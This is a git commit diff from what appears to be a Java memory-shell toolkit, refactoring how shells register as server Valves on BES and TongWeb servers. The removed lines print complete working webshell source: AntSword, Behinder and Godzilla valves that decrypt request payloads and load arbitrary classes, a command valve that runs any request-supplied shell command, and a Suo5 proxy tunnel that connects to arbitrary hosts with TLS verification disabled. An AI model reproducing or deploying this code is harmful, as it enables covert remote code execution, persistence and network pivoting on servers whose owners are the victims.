refactor: simplify valve shell register

This commit is contained in:
ReaJason
2025-02-23 02:33:09 +08:00
parent 3438d07f6d
commit 1980ae7072
30 changed files with 210 additions and 3157 deletions
@@ -2,8 +2,9 @@ package com.bes.enterprise.webtier;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import java.io.IOException;
import javax.servlet.ServletException;
import java.io.IOException;
public interface Valve {
Valve getNext();
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell.bes.antsword;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve() {
}
public AntSwordValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -1,133 +0,0 @@
package com.reajason.javaweb.memshell.bes.behinder;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public BehinderValve() {
}
public BehinderValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
obj.put("response", getInternalResponse(response));
obj.put("session", session);
session.setAttribute("u", this.pass);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
Object instance = (new BehinderValve(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(obj);
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public HttpServletResponse getInternalResponse(HttpServletResponse response) {
while (true) {
try {
response = (HttpServletResponse) getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -1,62 +0,0 @@
package com.reajason.javaweb.memshell.bes.command;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class CommandValve implements Valve {
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
public CommandValve() {
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
}
@@ -1,136 +0,0 @@
package com.reajason.javaweb.memshell.bes.godzilla;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
/**
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public GodzillaValve() {
}
public GodzillaValve(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession();
byte[] data = base64Decode(request.getParameter(pass));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaValve(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class) session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
response.getWriter().write(md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16));
response.flushBuffer();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -1,595 +0,0 @@
package com.reajason.javaweb.memshell.bes.suo5;
import com.bes.enterprise.webtier.Valve;
import com.bes.enterprise.webtier.connector.Request;
import com.bes.enterprise.webtier.connector.Response;
import javax.net.ssl.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import java.util.Enumeration;
import java.util.HashMap;
/**
* @author ReaJason
*/
public class Suo5Valve implements Valve, Runnable, HostnameVerifier, X509TrustManager {
public static String headerName;
public static String headerValue;
public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
InputStream gInStream;
OutputStream gOutStream;
protected Valve next;
protected boolean asyncSupported;
public Suo5Valve() {
}
public Suo5Valve(InputStream gInStream, OutputStream gOutStream) {
this.gInStream = gInStream;
this.gOutStream = gOutStream;
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
String contentType = request.getContentType();
if (contentType == null) {
this.getNext().invoke(request, response);
return;
}
try {
if (contentType.equals("application/plain")) {
tryFullDuplex(request, response);
this.getNext().invoke(request, response);
return;
}
if (contentType.equals("application/octet-stream")) {
processDataBio(request, response);
} else {
processDataUnary(request, response);
}
} catch (Throwable e) {
// System.out.printf("process data error %s\n", e);
// e.printStackTrace();
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException {
int bufferOffset = 0;
while (bufferOffset < b.length) {
int readLength = b.length - bufferOffset;
int readResult = is.read(b, bufferOffset, readLength);
if (readResult == -1) break;
bufferOffset += readResult;
}
}
public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException {
InputStream in = request.getInputStream();
byte[] data = new byte[32];
readFull(in, data);
OutputStream out = response.getOutputStream();
out.write(data);
out.flush();
}
private HashMap newCreate(byte s) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x04});
m.put("s", new byte[]{s});
return m;
}
private HashMap newData(byte[] data) {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x01});
m.put("dt", data);
return m;
}
private HashMap newDel() {
HashMap m = new HashMap();
m.put("ac", new byte[]{0x02});
return m;
}
private HashMap newStatus(byte b) {
HashMap m = new HashMap();
m.put("s", new byte[]{b});
return m;
}
byte[] u32toBytes(int i) {
byte[] result = new byte[4];
result[0] = (byte) (i >> 24);
result[1] = (byte) (i >> 16);
result[2] = (byte) (i >> 8);
result[3] = (byte) (i /*>> 0*/);
return result;
}
int bytesToU32(byte[] bytes) {
return ((bytes[0] & 0xFF) << 24) |
((bytes[1] & 0xFF) << 16) |
((bytes[2] & 0xFF) << 8) |
((bytes[3] & 0xFF) << 0);
}
synchronized void put(String k, Object v) {
ctx.put(k, v);
}
synchronized Object get(String k) {
return ctx.get(k);
}
synchronized Object remove(String k) {
return ctx.remove(k);
}
byte[] copyOfRange(byte[] original, int from, int to) {
int newLength = to - from;
if (newLength < 0) {
throw new IllegalArgumentException(from + " > " + to);
}
byte[] copy = new byte[newLength];
int copyLength = Math.min(original.length - from, newLength);
// can't use System.arraycopy of Arrays.copyOf, there is no system in some environment
// System.arraycopy(original, from, copy, 0, copyLength);
for (int i = 0; i < copyLength; i++) {
copy[i] = original[from + i];
}
return copy;
}
private byte[] marshal(HashMap m) throws IOException {
ByteArrayOutputStream buf = new ByteArrayOutputStream();
Object[] keys = m.keySet().toArray();
for (int i = 0; i < keys.length; i++) {
String key = (String) keys[i];
byte[] value = (byte[]) m.get(key);
buf.write((byte) key.length());
buf.write(key.getBytes());
buf.write(u32toBytes(value.length));
buf.write(value);
}
byte[] data = buf.toByteArray();
ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length);
dbuf.putInt(data.length);
// xor key
byte key = (byte) ((Math.random() * 255) + 1);
dbuf.put(key);
for (int i = 0; i < data.length; i++) {
data[i] = (byte) (data[i] ^ key);
}
dbuf.put(data);
return dbuf.array();
}
private HashMap unmarshal(InputStream in) throws Exception {
byte[] header = new byte[4 + 1]; // size and datatype
readFull(in, header);
// read full
ByteBuffer bb = ByteBuffer.wrap(header);
int len = bb.getInt();
int x = bb.get();
if (len > 1024 * 1024 * 32) {
throw new IOException("invalid len");
}
byte[] bs = new byte[len];
readFull(in, bs);
for (int i = 0; i < bs.length; i++) {
bs[i] = (byte) (bs[i] ^ x);
}
HashMap m = new HashMap();
byte[] buf;
for (int i = 0; i < bs.length - 1; ) {
short kLen = bs[i];
i += 1;
if (i + kLen >= bs.length) {
throw new Exception("key len error");
}
if (kLen < 0) {
throw new Exception("key len error");
}
buf = copyOfRange(bs, i, i + kLen);
String key = new String(buf);
i += kLen;
if (i + 4 >= bs.length) {
throw new Exception("value len error");
}
buf = copyOfRange(bs, i, i + 4);
int vLen = bytesToU32(buf);
i += 4;
if (vLen < 0) {
throw new Exception("value error");
}
if (i + vLen > bs.length) {
throw new Exception("value error");
}
byte[] value = copyOfRange(bs, i, i + vLen);
i += vLen;
m.put(key, value);
}
return m;
}
private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception {
final InputStream reqInputStream = request.getInputStream();
HashMap dataMap = unmarshal(reqInputStream);
byte[] action = (byte[]) dataMap.get("ac");
if (action.length != 1 || action[0] != 0x00) {
resp.setStatus(403);
return;
}
resp.setBufferSize(512);
final OutputStream respOutStream = resp.getOutputStream();
// 0x00 create socket
resp.setHeader("X-Accel-Buffering", "no");
Socket sc;
try {
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
// Cannot convert Integer to int
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
} catch (Exception e) {
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
final OutputStream scOutStream = sc.getOutputStream();
final InputStream scInStream = sc.getInputStream();
Thread t = null;
try {
Suo5Valve p = new Suo5Valve(scInStream, respOutStream);
t = new Thread(p);
t.start();
readReq(reqInputStream, scOutStream);
} catch (Exception e) {
// System.out.printf("pipe error, %s\n", e);
} finally {
sc.close();
respOutStream.close();
if (t != null) {
t.join();
}
}
}
private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException {
byte[] readBuf = new byte[1024 * 8];
while (true) {
int n = inputStream.read(readBuf);
if (n <= 0) {
break;
}
byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n);
if (needMarshal) {
dataTmp = marshal(newData(dataTmp));
}
outputStream.write(dataTmp);
outputStream.flush();
}
}
private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception {
while (true) {
HashMap dataMap;
dataMap = unmarshal(bufInputStream);
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
return;
}
byte action = actions[0];
if (action == 0x02) {
socketOutStream.close();
return;
} else if (action == 0x01) {
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
socketOutStream.write(data);
socketOutStream.flush();
}
} else if (action == 0x03) {
continue;
} else {
return;
}
}
}
private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws
Exception {
InputStream is = request.getInputStream();
BufferedInputStream reader = new BufferedInputStream(is);
HashMap dataMap;
dataMap = unmarshal(reader);
String clientId = new String((byte[]) dataMap.get("id"));
byte[] actions = (byte[]) dataMap.get("ac");
if (actions.length != 1) {
resp.setStatus(403);
return;
}
/*
ActionCreate byte = 0x00
ActionData byte = 0x01
ActionDelete byte = 0x02
ActionHeartbeat byte = 0x03
*/
byte action = actions[0];
byte[] redirectData = (byte[]) dataMap.get("r");
boolean needRedirect = redirectData != null && redirectData.length > 0;
String redirectUrl = "";
if (needRedirect) {
dataMap.remove("r");
redirectUrl = new String(redirectData);
needRedirect = !isLocalAddr(redirectUrl);
}
// load balance, send request with data to request url
// action 0x00 need to pipe, see below
if (needRedirect && action >= 0x01 && action <= 0x03) {
HttpURLConnection conn = redirect(request, dataMap, redirectUrl);
conn.disconnect();
return;
}
resp.setBufferSize(512);
OutputStream respOutStream = resp.getOutputStream();
if (action == 0x02) {
Object o = this.get(clientId);
if (o == null) return;
OutputStream scOutStream = (OutputStream) o;
scOutStream.close();
return;
} else if (action == 0x01) {
Object o = this.get(clientId);
if (o == null) {
respOutStream.write(marshal(newDel()));
respOutStream.flush();
respOutStream.close();
return;
}
OutputStream scOutStream = (OutputStream) o;
byte[] data = (byte[]) dataMap.get("dt");
if (data.length != 0) {
scOutStream.write(data);
scOutStream.flush();
}
respOutStream.close();
return;
} else {
}
if (action != 0x00) {
return;
}
// 0x00 create new tunnel
resp.setHeader("X-Accel-Buffering", "no");
String host = new String((byte[]) dataMap.get("h"));
int port = Integer.parseInt(new String((byte[]) dataMap.get("p")));
if (port == 0) {
try {
port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
} catch (Exception e) {
port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue();
}
}
InputStream readFrom;
Socket sc = null;
HttpURLConnection conn = null;
if (needRedirect) {
// pipe redirect stream and current response body
conn = redirect(request, dataMap, redirectUrl);
readFrom = conn.getInputStream();
} else {
// pipe socket stream and current response body
try {
sc = new Socket();
sc.connect(new InetSocketAddress(host, port), 5000);
readFrom = sc.getInputStream();
this.put(clientId, sc.getOutputStream());
respOutStream.write(marshal(newStatus((byte) 0x00)));
respOutStream.flush();
resp.flushBuffer();
} catch (Exception e) {
// System.out.printf("connect error %s\n", e);
// e.printStackTrace();
this.remove(clientId);
respOutStream.write(marshal(newStatus((byte) 0x01)));
respOutStream.flush();
respOutStream.close();
return;
}
}
try {
readSocket(readFrom, respOutStream, !needRedirect);
} catch (Exception e) {
// System.out.println("socket error " + e.toString());
// e.printStackTrace();
} finally {
if (sc != null) {
sc.close();
}
if (conn != null) {
conn.disconnect();
}
respOutStream.close();
this.remove(clientId);
}
}
public void run() {
try {
readSocket(gInStream, gOutStream, true);
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
}
static HashMap collectAddr() {
HashMap addrs = new HashMap();
try {
Enumeration nifs = NetworkInterface.getNetworkInterfaces();
while (nifs.hasMoreElements()) {
NetworkInterface nif = (NetworkInterface) nifs.nextElement();
Enumeration addresses = nif.getInetAddresses();
while (addresses.hasMoreElements()) {
InetAddress addr = (InetAddress) addresses.nextElement();
String s = addr.getHostAddress();
if (s != null) {
// fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4
int ifaceIndex = s.indexOf('%');
if (ifaceIndex != -1) {
s = s.substring(0, ifaceIndex);
}
addrs.put((Object) s, (Object) Boolean.TRUE);
}
}
}
} catch (Exception e) {
// System.out.printf("read socket error, %s\n", e);
// e.printStackTrace();
}
return addrs;
}
boolean isLocalAddr(String url) throws Exception {
String ip = (new URL(url)).getHost();
return addrs.containsKey(ip);
}
HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception {
String method = request.getMethod();
URL u = new URL(rUrl);
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setRequestMethod(method);
try {
// conn.setConnectTimeout(3000);
conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)});
// conn.setReadTimeout(0);
conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)});
} catch (Exception e) {
// java1.4
}
conn.setDoOutput(true);
conn.setDoInput(true);
// ignore ssl verify
// ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java
if (HttpsURLConnection.class.isInstance(conn)) {
((HttpsURLConnection) conn).setHostnameVerifier(this);
SSLContext sslCtx = SSLContext.getInstance("SSL");
sslCtx.init(null, new TrustManager[]{this}, null);
((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory());
}
byte[] newBody = marshal(dataMap);
Enumeration headers = request.getHeaderNames();
while (headers.hasMoreElements()) {
String k = (String) headers.nextElement();
if (k.equals("Content-Length")) {
conn.setRequestProperty(k, String.valueOf(newBody.length));
continue;
} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -10,7 +10,6 @@ import net.bytebuddy.utility.JavaModule;
import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain;
import static net.bytebuddy.matcher.ElementMatchers.any;
import static net.bytebuddy.matcher.ElementMatchers.named;
/**
@@ -1,15 +1,9 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
@@ -2,11 +2,7 @@ package com.reajason.javaweb.memshell.shelltool.antsword;
import net.bytebuddy.asm.Advice;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
@@ -1,12 +1,9 @@
package com.reajason.javaweb.memshell.shelltool.suo5;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.net.ssl.*;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.net.*;
import java.nio.ByteBuffer;
@@ -1,99 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.antsword;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve6 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve6() {
}
public AntSwordValve6(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve6(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
@Override
public void event(Request var1, Response var2, CometEvent var3) throws IOException, ServletException {
}
}
@@ -1,88 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.antsword;
import com.tongweb.catalina.Valve;
import com.tongweb.catalina.connector.Request;
import com.tongweb.catalina.connector.Response;
import javax.servlet.ServletException;
import java.io.IOException;
/**
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordValve7 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public AntSwordValve7() {
}
public AntSwordValve7(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve7(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
e.printStackTrace();
this.getNext().invoke(request, response);
}
}
}
@@ -1,144 +0,0 @@
package com.reajason.javaweb.memshell.tongweb.behinder;
import com.tongweb.web.thor.Valve;
import com.tongweb.web.thor.comet.CometEvent;
import com.tongweb.web.thor.connector.Request;
import com.tongweb.web.thor.connector.Response;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderValve6 extends ClassLoader implements Valve {
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
public BehinderValve6() {
}
public BehinderValve6(ClassLoader z) {
super(z);
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception var5) {
}
}
return value;
}
@SuppressWarnings("all")
public Class g(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
@Override
public String getInfo() {
return "";
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
@SuppressWarnings("all")
